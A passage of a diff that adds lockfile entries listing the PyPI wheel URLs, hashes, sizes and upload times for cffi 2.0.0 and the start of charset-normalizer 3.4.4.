"sha256:5eda85d6d1879e692d546a078b44251cdd08dd1cfb98dfb77b670c97cee49ea0", size = 203217, upload-time = "2025-09-08T23:22:14.596Z" }, + { url = "https://files.pythonhosted.org/packages/9f/e0/6cbe77a53acf5acc7c08cc186c9928864bd7c005f9efd0d126884858a5fe/cffi-2.0.0-cp310-cp310-manylinux2014_s390x.manylinux_2_17_s390x.whl", hash = "sha256:9332088d75dc3241c702d852d4671613136d90fa6881da7d770a483fd05248b4", size = 203079, upload-time = "2025-09-08T23:22:15.769Z" }, + { url = "https://files.pythonhosted.org/packages/98/29/9b366e70e243eb3d14a5cb488dfd3a0b6b2f1fb001a203f653b93ccfac88/cffi-2.0.0-cp310-cp310-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:fc7de24befaeae77ba923797c7c87834c73648a05a4bde34b3b7e5588973a453", size = 216475, upload-time = "2025-09-08T23:22:17.427Z" }, + { url = "https://files.pythonhosted.org/packages/21/7a/13b24e70d2f90a322f2900c5d8e1f14fa7e2a6b3332b7309ba7b2ba51a5a/cffi-2.0.0-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:cf364028c016c03078a23b503f02058f1814320a56ad535686f90565636a9495", size = 218829, upload-time = "2025-09-08T23:22:19.069Z" }, + { url = "https://files.pythonhosted.org/packages/60/99/c9dc110974c59cc981b1f5b66e1d8af8af764e00f0293266824d9c4254bc/cffi-2.0.0-cp310-cp310-musllinux_1_2_i686.whl", hash = "sha256:e11e82b744887154b182fd3e7e8512418446501191994dbf9c9fc1f32cc8efd5", size = 211211, upload-time = "2025-09-08T23:22:20.588Z" }, + { url = "https://files.pythonhosted.org/packages/49/72/ff2d12dbf21aca1b32a40ed792ee6b40f6dc3a9cf1644bd7ef6e95e0ac5e/cffi-2.0.0-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:8ea985900c5c95ce9db1745f7933eeef5d314f0565b27625d9a10ec9881e1bfb", size = 218036, upload-time = "2025-09-08T23:22:22.143Z" }, + { url = "https://files.pythonhosted.org/packages/e2/cc/027d7fb82e58c48ea717149b03bcadcbdc293553edb283af792bd4bcbb3f/cffi-2.0.0-cp310-cp310-win32.whl", hash = "sha256:1f72fb8906754ac8a2cc3f9f5aaa298070652a0ffae577e0ea9bd480dc3c931a", size = 172184, upload-time = "2025-09-08T23:22:23.328Z" }, + { url = "https://files.pythonhosted.org/packages/33/fa/072dd15ae27fbb4e06b437eb6e944e75b068deb09e2a2826039e49ee2045/cffi-2.0.0-cp310-cp310-win_amd64.whl", hash = "sha256:b18a3ed7d5b3bd8d9ef7a8cb226502c6bf8308df1525e1cc676c3680e7176739", size = 182790, upload-time = "2025-09-08T23:22:24.752Z" }, + { url = "https://files.pythonhosted.org/packages/12/4a/3dfd5f7850cbf0d06dc84ba9aa00db766b52ca38d8b86e3a38314d52498c/cffi-2.0.0-cp311-cp311-macosx_10_13_x86_64.whl", hash = "sha256:b4c854ef3adc177950a8dfc81a86f5115d2abd545751a304c5bcf2c2c7283cfe", size = 184344, upload-time = "2025-09-08T23:22:26.456Z" }, + { url = "https://files.pythonhosted.org/packages/4f/8b/f0e4c441227ba756aafbe78f117485b25bb26b1c059d01f137fa6d14896b/cffi-2.0.0-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:2de9a304e27f7596cd03d16f1b7c72219bd944e99cc52b84d0145aefb07cbd3c", size = 180560, upload-time = "2025-09-08T23:22:28.197Z" }, + { url = "https://files.pythonhosted.org/packages/b1/b7/1200d354378ef52ec227395d95c2576330fd22a869f7a70e88e1447eb234/cffi-2.0.0-cp311-cp311-manylinux1_i686.manylinux2014_i686.manylinux_2_17_i686.manylinux_2_5_i686.whl", hash = "sha256:baf5215e0ab74c16e2dd324e8ec067ef59e41125d3eade2b863d294fd5035c92", size = 209613, upload-time = "2025-09-08T23:22:29.475Z" }, + { url = "https://files.pythonhosted.org/packages/b8/56/6033f5e86e8cc9bb629f0077ba71679508bdf54a9a5e112a3c0b91870332/cffi-2.0.0-cp311-cp311-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:730cacb21e1bdff3ce90babf007d0a0917cc3e6492f336c2f0134101e0944f93", size = 216476, upload-time = "2025-09-08T23:22:31.063Z" }, + { url = "https://files.pythonhosted.org/packages/dc/7f/55fecd70f7ece178db2f26128ec41430d8720f2d12ca97bf8f0a628207d5/cffi-2.0.0-cp311-cp311-manylinux2014_ppc64le.manylinux_2_17_ppc64le.whl", hash = "sha256:6824f87845e3396029f3820c206e459ccc91760e8fa24422f8b0c3d1731cbec5", size = 203374, upload-time = "2025-09-08T23:22:32.507Z" }, + { url = "https://files.pythonhosted.org/packages/84/ef/a7b77c8bdc0f77adc3b46888f1ad54be8f3b7821697a7b89126e829e676a/cffi-2.0.0-cp311-cp311-manylinux2014_s390x.manylinux_2_17_s390x.whl", hash = "sha256:9de40a7b0323d889cf8d23d1ef214f565ab154443c42737dfe52ff82cf857664", size = 202597, upload-time = "2025-09-08T23:22:34.132Z" }, + { url = "https://files.pythonhosted.org/packages/d7/91/500d892b2bf36529a75b77958edfcd5ad8e2ce4064ce2ecfeab2125d72d1/cffi-2.0.0-cp311-cp311-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:8941aaadaf67246224cee8c3803777eed332a19d909b47e29c9842ef1e79ac26", size = 215574, upload-time = "2025-09-08T23:22:35.443Z" }, + { url = "https://files.pythonhosted.org/packages/44/64/58f6255b62b101093d5df22dcb752596066c7e89dd725e0afaed242a61be/cffi-2.0.0-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:a05d0c237b3349096d3981b727493e22147f934b20f6f125a3eba8f994bec4a9", size = 218971, upload-time = "2025-09-08T23:22:36.805Z" }, + { url = "https://files.pythonhosted.org/packages/ab/49/fa72cebe2fd8a55fbe14956f9970fe8eb1ac59e5df042f603ef7c8ba0adc/cffi-2.0.0-cp311-cp311-musllinux_1_2_i686.whl", hash = "sha256:94698a9c5f91f9d138526b48fe26a199609544591f859c870d477351dc7b2414", size = 211972, upload-time = "2025-09-08T23:22:38.436Z" }, + { url = "https://files.pythonhosted.org/packages/0b/28/dd0967a76aab36731b6ebfe64dec4e981aff7e0608f60c2d46b46982607d/cffi-2.0.0-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:5fed36fccc0612a53f1d4d9a816b50a36702c28a2aa880cb8a122b3466638743", size = 217078, upload-time = "2025-09-08T23:22:39.776Z" }, + { url = "https://files.pythonhosted.org/packages/2b/c0/015b25184413d7ab0a410775fdb4a50fca20f5589b5dab1dbbfa3baad8ce/cffi-2.0.0-cp311-cp311-win32.whl", hash = "sha256:c649e3a33450ec82378822b3dad03cc228b8f5963c0c12fc3b1e0ab940f768a5", size = 172076, upload-time = "2025-09-08T23:22:40.95Z" }, + { url = "https://files.pythonhosted.org/packages/ae/8f/dc5531155e7070361eb1b7e4c1a9d896d0cb21c49f807a6c03fd63fc877e/cffi-2.0.0-cp311-cp311-win_amd64.whl", hash = "sha256:66f011380d0e49ed280c789fbd08ff0d40968ee7b665575489afa95c98196ab5", size = 182820, upload-time = "2025-09-08T23:22:42.463Z" }, + { url = "https://files.pythonhosted.org/packages/95/5c/1b493356429f9aecfd56bc171285a4c4ac8697f76e9bbbbb105e537853a1/cffi-2.0.0-cp311-cp311-win_arm64.whl", hash = "sha256:c6638687455baf640e37344fe26d37c404db8b80d037c3d29f58fe8d1c3b194d", size = 177635, upload-time = "2025-09-08T23:22:43.623Z" }, + { url = "https://files.pythonhosted.org/packages/ea/47/4f61023ea636104d4f16ab488e268b93008c3d0bb76893b1b31db1f96802/cffi-2.0.0-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:6d02d6655b0e54f54c4ef0b94eb6be0607b70853c45ce98bd278dc7de718be5d", size = 185271, upload-time = "2025-09-08T23:22:44.795Z" }, + { url = "https://files.pythonhosted.org/packages/df/a2/781b623f57358e360d62cdd7a8c681f074a71d445418a776eef0aadb4ab4/cffi-2.0.0-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:8eca2a813c1cb7ad4fb74d368c2ffbbb4789d377ee5bb8df98373c2cc0dee76c", size = 181048, upload-time = "2025-09-08T23:22:45.938Z" }, + { url = "https://files.pythonhosted.org/packages/ff/df/a4f0fbd47331ceeba3d37c2e51e9dfc9722498becbeec2bd8bc856c9538a/cffi-2.0.0-cp312-cp312-manylinux1_i686.manylinux2014_i686.manylinux_2_17_i686.manylinux_2_5_i686.whl", hash = "sha256:21d1152871b019407d8ac3985f6775c079416c282e431a4da6afe7aefd2bccbe", size = 212529, upload-time = "2025-09-08T23:22:47.349Z" }, + { url = "https://files.pythonhosted.org/packages/d5/72/12b5f8d3865bf0f87cf1404d8c374e7487dcf097a1c91c436e72e6badd83/cffi-2.0.0-cp312-cp312-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:b21e08af67b8a103c71a250401c78d5e0893beff75e28c53c98f4de42f774062", size = 220097, upload-time = "2025-09-08T23:22:48.677Z" }, + { url = "https://files.pythonhosted.org/packages/c2/95/7a135d52a50dfa7c882ab0ac17e8dc11cec9d55d2c18dda414c051c5e69e/cffi-2.0.0-cp312-cp312-manylinux2014_ppc64le.manylinux_2_17_ppc64le.whl", hash = "sha256:1e3a615586f05fc4065a8b22b8152f0c1b00cdbc60596d187c2a74f9e3036e4e", size = 207983, upload-time = "2025-09-08T23:22:50.06Z" }, + { url = "https://files.pythonhosted.org/packages/3a/c8/15cb9ada8895957ea171c62dc78ff3e99159ee7adb13c0123c001a2546c1/cffi-2.0.0-cp312-cp312-manylinux2014_s390x.manylinux_2_17_s390x.whl", hash = "sha256:81afed14892743bbe14dacb9e36d9e0e504cd204e0b165062c488942b9718037", size = 206519, upload-time = "2025-09-08T23:22:51.364Z" }, + { url = "https://files.pythonhosted.org/packages/78/2d/7fa73dfa841b5ac06c7b8855cfc18622132e365f5b81d02230333ff26e9e/cffi-2.0.0-cp312-cp312-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:3e17ed538242334bf70832644a32a7aae3d83b57567f9fd60a26257e992b79ba", size = 219572, upload-time = "2025-09-08T23:22:52.902Z" }, + { url = "https://files.pythonhosted.org/packages/07/e0/267e57e387b4ca276b90f0434ff88b2c2241ad72b16d31836adddfd6031b/cffi-2.0.0-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:3925dd22fa2b7699ed2617149842d2e6adde22b262fcbfada50e3d195e4b3a94", size = 222963, upload-time = "2025-09-08T23:22:54.518Z" }, + { url = "https://files.pythonhosted.org/packages/b6/75/1f2747525e06f53efbd878f4d03bac5b859cbc11c633d0fb81432d98a795/cffi-2.0.0-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:2c8f814d84194c9ea681642fd164267891702542f028a15fc97d4674b6206187", size = 221361, upload-time = "2025-09-08T23:22:55.867Z" }, + { url = "https://files.pythonhosted.org/packages/7b/2b/2b6435f76bfeb6bbf055596976da087377ede68df465419d192acf00c437/cffi-2.0.0-cp312-cp312-win32.whl", hash = "sha256:da902562c3e9c550df360bfa53c035b2f241fed6d9aef119048073680ace4a18", size = 172932, upload-time = "2025-09-08T23:22:57.188Z" }, + { url = "https://files.pythonhosted.org/packages/f8/ed/13bd4418627013bec4ed6e54283b1959cf6db888048c7cf4b4c3b5b36002/cffi-2.0.0-cp312-cp312-win_amd64.whl", hash = "sha256:da68248800ad6320861f129cd9c1bf96ca849a2771a59e0344e88681905916f5", size = 183557, upload-time = "2025-09-08T23:22:58.351Z" }, + { url = "https://files.pythonhosted.org/packages/95/31/9f7f93ad2f8eff1dbc1c3656d7ca5bfd8fb52c9d786b4dcf19b2d02217fa/cffi-2.0.0-cp312-cp312-win_arm64.whl", hash = "sha256:4671d9dd5ec934cb9a73e7ee9676f9362aba54f7f34910956b84d727b0d73fb6", size = 177762, upload-time = "2025-09-08T23:22:59.668Z" }, + { url = "https://files.pythonhosted.org/packages/4b/8d/a0a47a0c9e413a658623d014e91e74a50cdd2c423f7ccfd44086ef767f90/cffi-2.0.0-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:00bdf7acc5f795150faa6957054fbbca2439db2f775ce831222b66f192f03beb", size = 185230, upload-time = "2025-09-08T23:23:00.879Z" }, + { url = "https://files.pythonhosted.org/packages/4a/d2/a6c0296814556c68ee32009d9c2ad4f85f2707cdecfd7727951ec228005d/cffi-2.0.0-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:45d5e886156860dc35862657e1494b9bae8dfa63bf56796f2fb56e1679fc0bca", size = 181043, upload-time = "2025-09-08T23:23:02.231Z" }, + { url = "https://files.pythonhosted.org/packages/b0/1e/d22cc63332bd59b06481ceaac49d6c507598642e2230f201649058a7e704/cffi-2.0.0-cp313-cp313-manylinux1_i686.manylinux2014_i686.manylinux_2_17_i686.manylinux_2_5_i686.whl", hash = "sha256:07b271772c100085dd28b74fa0cd81c8fb1a3ba18b21e03d7c27f3436a10606b", size = 212446, upload-time = "2025-09-08T23:23:03.472Z" }, + { url = "https://files.pythonhosted.org/packages/a9/f5/a2c23eb03b61a0b8747f211eb716446c826ad66818ddc7810cc2cc19b3f2/cffi-2.0.0-cp313-cp313-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:d48a880098c96020b02d5a1f7d9251308510ce8858940e6fa99ece33f610838b", size = 220101, upload-time = "2025-09-08T23:23:04.792Z" }, + { url = "https://files.pythonhosted.org/packages/f2/7f/e6647792fc5850d634695bc0e6ab4111ae88e89981d35ac269956605feba/cffi-2.0.0-cp313-cp313-manylinux2014_ppc64le.manylinux_2_17_ppc64le.whl", hash = "sha256:f93fd8e5c8c0a4aa1f424d6173f14a892044054871c771f8566e4008eaa359d2", size = 207948, upload-time = "2025-09-08T23:23:06.127Z" }, + { url = "https://files.pythonhosted.org/packages/cb/1e/a5a1bd6f1fb30f22573f76533de12a00bf274abcdc55c8edab639078abb6/cffi-2.0.0-cp313-cp313-manylinux2014_s390x.manylinux_2_17_s390x.whl", hash = "sha256:dd4f05f54a52fb558f1ba9f528228066954fee3ebe629fc1660d874d040ae5a3", size = 206422, upload-time = "2025-09-08T23:23:07.753Z" }, + { url = "https://files.pythonhosted.org/packages/98/df/0a1755e750013a2081e863e7cd37e0cdd02664372c754e5560099eb7aa44/cffi-2.0.0-cp313-cp313-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:c8d3b5532fc71b7a77c09192b4a5a200ea992702734a2e9279a37f2478236f26", size = 219499, upload-time = "2025-09-08T23:23:09.648Z" }, + { url = "https://files.pythonhosted.org/packages/50/e1/a969e687fcf9ea58e6e2a928ad5e2dd88cc12f6f0ab477e9971f2309b57c/cffi-2.0.0-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:d9b29c1f0ae438d5ee9acb31cadee00a58c46cc9c0b2f9038c6b0b3470877a8c", size = 222928, upload-time = "2025-09-08T23:23:10.928Z" }, + { url = "https://files.pythonhosted.org/packages/36/54/0362578dd2c9e557a28ac77698ed67323ed5b9775ca9d3fe73fe191bb5d8/cffi-2.0.0-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:6d50360be4546678fc1b79ffe7a66265e28667840010348dd69a314145807a1b", size = 221302, upload-time = "2025-09-08T23:23:12.42Z" }, + { url = "https://files.pythonhosted.org/packages/eb/6d/bf9bda840d5f1dfdbf0feca87fbdb64a918a69bca42cfa0ba7b137c48cb8/cffi-2.0.0-cp313-cp313-win32.whl", hash = "sha256:74a03b9698e198d47562765773b4a8309919089150a0bb17d829ad7b44b60d27", size = 172909, upload-time = "2025-09-08T23:23:14.32Z" }, + { url = "https://files.pythonhosted.org/packages/37/18/6519e1ee6f5a1e579e04b9ddb6f1676c17368a7aba48299c3759bbc3c8b3/cffi-2.0.0-cp313-cp313-win_amd64.whl", hash = "sha256:19f705ada2530c1167abacb171925dd886168931e0a7b78f5bffcae5c6b5be75", size = 183402, upload-time = "2025-09-08T23:23:15.535Z" }, + { url = "https://files.pythonhosted.org/packages/cb/0e/02ceeec9a7d6ee63bb596121c2c8e9b3a9e150936f4fbef6ca1943e6137c/cffi-2.0.0-cp313-cp313-win_arm64.whl", hash = "sha256:256f80b80ca3853f90c21b23ee78cd008713787b1b1e93eae9f3d6a7134abd91", size = 177780, upload-time = "2025-09-08T23:23:16.761Z" }, + { url = "https://files.pythonhosted.org/packages/92/c4/3ce07396253a83250ee98564f8d7e9789fab8e58858f35d07a9a2c78de9f/cffi-2.0.0-cp314-cp314-macosx_10_13_x86_64.whl", hash = "sha256:fc33c5141b55ed366cfaad382df24fe7dcbc686de5be719b207bb248e3053dc5", size = 185320, upload-time = "2025-09-08T23:23:18.087Z" }, + { url = "https://files.pythonhosted.org/packages/59/dd/27e9fa567a23931c838c6b02d0764611c62290062a6d4e8ff7863daf9730/cffi-2.0.0-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:c654de545946e0db659b3400168c9ad31b5d29593291482c43e3564effbcee13", size = 181487, upload-time = "2025-09-08T23:23:19.622Z" }, + { url = "https://files.pythonhosted.org/packages/d6/43/0e822876f87ea8a4ef95442c3d766a06a51fc5298823f884ef87aaad168c/cffi-2.0.0-cp314-cp314-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:24b6f81f1983e6df8db3adc38562c83f7d4a0c36162885ec7f7b77c7dcbec97b", size = 220049, upload-time = "2025-09-08T23:23:20.853Z" }, + { url = "https://files.pythonhosted.org/packages/b4/89/76799151d9c2d2d1ead63c2429da9ea9d7aac304603de0c6e8764e6e8e70/cffi-2.0.0-cp314-cp314-manylinux2014_ppc64le.manylinux_2_17_ppc64le.whl", hash = "sha256:12873ca6cb9b0f0d3a0da705d6086fe911591737a59f28b7936bdfed27c0d47c", size = 207793, upload-time = "2025-09-08T23:23:22.08Z" }, + { url = "https://files.pythonhosted.org/packages/bb/dd/3465b14bb9e24ee24cb88c9e3730f6de63111fffe513492bf8c808a3547e/cffi-2.0.0-cp314-cp314-manylinux2014_s390x.manylinux_2_17_s390x.whl", hash = "sha256:d9b97165e8aed9272a6bb17c01e3cc5871a594a446ebedc996e2397a1c1ea8ef", size = 206300, upload-time = "2025-09-08T23:23:23.314Z" }, + { url = "https://files.pythonhosted.org/packages/47/d9/d83e293854571c877a92da46fdec39158f8d7e68da75bf73581225d28e90/cffi-2.0.0-cp314-cp314-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:afb8db5439b81cf9c9d0c80404b60c3cc9c3add93e114dcae767f1477cb53775", size = 219244, upload-time = "2025-09-08T23:23:24.541Z" }, + { url = "https://files.pythonhosted.org/packages/2b/0f/1f177e3683aead2bb00f7679a16451d302c436b5cbf2505f0ea8146ef59e/cffi-2.0.0-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:737fe7d37e1a1bffe70bd5754ea763a62a066dc5913ca57e957824b72a85e205", size = 222828, upload-time = "2025-09-08T23:23:26.143Z" }, + { url = "https://files.pythonhosted.org/packages/c6/0f/cafacebd4b040e3119dcb32fed8bdef8dfe94da653155f9d0b9dc660166e/cffi-2.0.0-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:38100abb9d1b1435bc4cc340bb4489635dc2f0da7456590877030c9b3d40b0c1", size = 220926, upload-time = "2025-09-08T23:23:27.873Z" }, + { url = "https://files.pythonhosted.org/packages/3e/aa/df335faa45b395396fcbc03de2dfcab242cd61a9900e914fe682a59170b1/cffi-2.0.0-cp314-cp314-win32.whl", hash = "sha256:087067fa8953339c723661eda6b54bc98c5625757ea62e95eb4898ad5e776e9f", size = 175328, upload-time = "2025-09-08T23:23:44.61Z" }, + { url = "https://files.pythonhosted.org/packages/bb/92/882c2d30831744296ce713f0feb4c1cd30f346ef747b530b5318715cc367/cffi-2.0.0-cp314-cp314-win_amd64.whl", hash = "sha256:203a48d1fb583fc7d78a4c6655692963b860a417c0528492a6bc21f1aaefab25", size = 185650, upload-time = "2025-09-08T23:23:45.848Z" }, + { url = "https://files.pythonhosted.org/packages/9f/2c/98ece204b9d35a7366b5b2c6539c350313ca13932143e79dc133ba757104/cffi-2.0.0-cp314-cp314-win_arm64.whl", hash = "sha256:dbd5c7a25a7cb98f5ca55d258b103a2054f859a46ae11aaf23134f9cc0d356ad", size = 180687, upload-time = "2025-09-08T23:23:47.105Z" }, + { url = "https://files.pythonhosted.org/packages/3e/61/c768e4d548bfa607abcda77423448df8c471f25dbe64fb2ef6d555eae006/cffi-2.0.0-cp314-cp314t-macosx_10_13_x86_64.whl", hash = "sha256:9a67fc9e8eb39039280526379fb3a70023d77caec1852002b4da7e8b270c4dd9", size = 188773, upload-time = "2025-09-08T23:23:29.347Z" }, + { url = "https://files.pythonhosted.org/packages/2c/ea/5f76bce7cf6fcd0ab1a1058b5af899bfbef198bea4d5686da88471ea0336/cffi-2.0.0-cp314-cp314t-macosx_11_0_arm64.whl", hash = "sha256:7a66c7204d8869299919db4d5069a82f1561581af12b11b3c9f48c584eb8743d", size = 185013, upload-time = "2025-09-08T23:23:30.63Z" }, + { url = "https://files.pythonhosted.org/packages/be/b4/c56878d0d1755cf9caa54ba71e5d049479c52f9e4afc230f06822162ab2f/cffi-2.0.0-cp314-cp314t-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:7cc09976e8b56f8cebd752f7113ad07752461f48a58cbba644139015ac24954c", size = 221593, upload-time = "2025-09-08T23:23:31.91Z" }, + { url = "https://files.pythonhosted.org/packages/e0/0d/eb704606dfe8033e7128df5e90fee946bbcb64a04fcdaa97321309004000/cffi-2.0.0-cp314-cp314t-manylinux2014_ppc64le.manylinux_2_17_ppc64le.whl", hash = "sha256:92b68146a71df78564e4ef48af17551a5ddd142e5190cdf2c5624d0c3ff5b2e8", size = 209354, upload-time = "2025-09-08T23:23:33.214Z" }, + { url = "https://files.pythonhosted.org/packages/d8/19/3c435d727b368ca475fb8742ab97c9cb13a0de600ce86f62eab7fa3eea60/cffi-2.0.0-cp314-cp314t-manylinux2014_s390x.manylinux_2_17_s390x.whl", hash = "sha256:b1e74d11748e7e98e2f426ab176d4ed720a64412b6a15054378afdb71e0f37dc", size = 208480, upload-time = "2025-09-08T23:23:34.495Z" }, + { url = "https://files.pythonhosted.org/packages/d0/44/681604464ed9541673e486521497406fadcc15b5217c3e326b061696899a/cffi-2.0.0-cp314-cp314t-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:28a3a209b96630bca57cce802da70c266eb08c6e97e5afd61a75611ee6c64592", size = 221584, upload-time = "2025-09-08T23:23:36.096Z" }, + { url = "https://files.pythonhosted.org/packages/25/8e/342a504ff018a2825d395d44d63a767dd8ebc927ebda557fecdaca3ac33a/cffi-2.0.0-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:7553fb2090d71822f02c629afe6042c299edf91ba1bf94951165613553984512", size = 224443, upload-time = "2025-09-08T23:23:37.328Z" }, + { url = "https://files.pythonhosted.org/packages/e1/5e/b666bacbbc60fbf415ba9988324a132c9a7a0448a9a8f125074671c0f2c3/cffi-2.0.0-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:6c6c373cfc5c83a975506110d17457138c8c63016b563cc9ed6e056a82f13ce4", size = 223437, upload-time = "2025-09-08T23:23:38.945Z" }, + { url = "https://files.pythonhosted.org/packages/a0/1d/ec1a60bd1a10daa292d3cd6bb0b359a81607154fb8165f3ec95fe003b85c/cffi-2.0.0-cp314-cp314t-win32.whl", hash = "sha256:1fc9ea04857caf665289b7a75923f2c6ed559b8298a1b8c49e59f7dd95c8481e", size = 180487, upload-time = "2025-09-08T23:23:40.423Z" }, + { url = "https://files.pythonhosted.org/packages/bf/41/4c1168c74fac325c0c8156f04b6749c8b6a8f405bbf91413ba088359f60d/cffi-2.0.0-cp314-cp314t-win_amd64.whl", hash = "sha256:d68b6cef7827e8641e8ef16f4494edda8b36104d79773a334beaa1e3521430f6", size = 191726, upload-time = "2025-09-08T23:23:41.742Z" }, + { url = "https://files.pythonhosted.org/packages/ae/3a/dbeec9d1ee0844c679f6bb5d6ad4e9f198b1224f4e7a32825f47f6192b0c/cffi-2.0.0-cp314-cp314t-win_arm64.whl", hash = "sha256:0a1527a803f0a659de1af2e1fd700213caba79377e27e4693648c2923da066f9", size = 184195, upload-time = "2025-09-08T23:23:43.004Z" }, +] + +[[package]] +name = "charset-normalizer" +version = "3.4.4" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/13/69/33ddede1939fdd074bce5434295f38fae7136463422fe4fd3e0e89b98062/charset_normalizer-3.4.4.tar.gz", hash = "sha256:94537985111c35f28720e43603b8e7b43a6ecfb2ce1d3058bbe955b73404e21a", size = 129418, upload-time = "2025-10-14T04:42:32.879Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/1f/b8/6d51fc1d52cbd52cd4ccedd5b5b2f0f6a11bbf6765c782298b0f3e808541/charset_normalizer-3.4.4-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:e824f1492727fa856dd6eda4f7cee25f8518a12f3c4a56a74e8095695089cf6d", size = 209709, upload-time = "2025-10-14T04:40:11.385Z" }, + { url = "https://files.pythonhosted.org/packages/5c/af/1f9d7f7faafe2ddfb6f72a2e07a548a629c61ad510fe60f9630309908fef/charset_normalizer-3.4.4-cp310-cp310-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:4bd5d4137d500351a30687c2d3971758aac9a19208fc110ccb9d7188fbe709e8", size = 148814, upload-time = "2025-10-14T04:40:13.135Z" }, + { url = "https://files.pythonhosted.org/packages/79/3d/f2e3ac2bbc056ca0c204298ea4e3d9db9b4afe437812638759db2c976b5f/charset_normalizer-3.4.4-cp310-cp310-manylinux2014_armv7l.manylinux_2_17_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:027f6de494925c0ab2a55eab46ae5129951638a49a34d87f4c3eda90f696b4ad", size = 144467, upload-time = "2025-10-14T04:40:14.728Z" }, + { url = "https://files.pythonhosted.org/packages/ec/85/1bf997003815e60d57de7bd972c57dc6950446a3e4ccac43bc3070721856/charset_normalizer-3.4.4-cp310-cp310-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:f820802628d2694cb7e56db99213f930856014862f3fd943d290ea8438d07ca8", size = 162280, upload-time = "2025-10-14T04:40:16.14Z" }, + { url = "https://files.pythonhosted.org/packages/3e/8e/6aa1952f56b192f54921c436b87f2aaf7c7a7c3d0d1a765547d64fd83c13/charset_normalizer-3.4.4-cp310-cp310-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:798d75d81754988d2565bff1b97ba5a44411867c0cf32b77a7e8f8d84796b10d", size = 159454, upload-time = "2025-10-14T04:40:17.567Z" }, + { url = "https://files.pythonhosted.org/packages/36/3b/60cbd1f8e93aa25d1c669c649b7a655b0b5fb4c571858910ea9332678558/charset_normalizer-3.4.4-cp310-cp310-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:9d1bb833febdff5c8927f922386db610b49db6e0d4f4ee29601d71e7c2694313", size = 153609, upload-time = "2025-10-14T04:40:19.08Z" }, + { url = "https://files.pythonhosted.org/packages/64/91/6a13396948b8fd3c4b4fd5bc74d045f5637d78c9675585e8e9fbe5636554/charset_normalizer-3.4.4-cp310-cp310-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:9cd98cdc06614a2f768d2b7286d66805f94c48cde050acdbbb7db2600ab3197e", size = 151849, upload-time = "2025-10-14T04:40:20.607Z" }, + { url = "https://files.pythonhosted.org/packages/b7/7a/59482e28b9981d105691e968c544cc0df3b7d6133152fb3dcdc8f135da7a/charset_normalizer-3.4.4-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:077fbb858e903c73f6c9db43374fd213b0b6a778106bc7032446a8e8b5b38b93", size = 151586, upload-time = "2025-10-14T04:40:21.719Z" }, + { url = "https://files.pythonhosted.org/packages/92/59/f64ef6a1c4bdd2baf892b04cd78792ed8684fbc48d4c2afe467d96b4df57/charset_normalizer-3.4.4-cp310-cp310-musllinux_1_2_armv7l.whl", hash = "sha256:244bfb999c71b35de57821b8ea746b24e863398194a4014e4c76adc2bbdfeff0", size = 145290, upload-time = "2025-10-14T04:40:23.069Z" }, + { url = "https://files.pythonhosted.org/packages/6b/63/3bf9f279ddfa641ffa1962b0db6a57a9c294361cc2f5fcac997049a00e9c/charset_normalizer-3.4.4-cp310-cp310-musllinux_1_2_ppc64le.whl", hash = "sha256:64b55f9dce520635f018f907ff1b0df1fdc31f2795a922fb49dd14fbcdf48c84", size = 163663, upload-time = "2025-10-14T04:40:24.17Z" }, + { url = "https://files.pythonhosted.org/packages/ed/09/c9e38fc8fa9e0849b172b581fd9803bdf6e694041127933934184e19f8c3/charset_normalizer-3.4.4-cp310-cp310-musllinux_1_2_riscv64.whl", hash = "sha256:faa3a41b2b66b6e50f84ae4a68c64fcd0c44355741c6374813a800cd6695db9e", size = 151964, upload-time = "2025-10-14T04:40:25.368Z" }, + { url = "https://files.pythonhosted.org/packages/d2/d1/d28b747e512d0da79d8b6a1ac18b7ab2ecfd81b2944c4c710e166d8dd09c/charset_normalizer-3.4.4-cp310-cp310-musllinux_1_2_s390x.whl", hash = "sha256:6515f3182dbe4ea06ced2d9e8666d97b46ef4c75e326b79bb624110f122551db", size = 161064, upload-time = "2025-10-14T04:40:26.806Z" }, + { url = 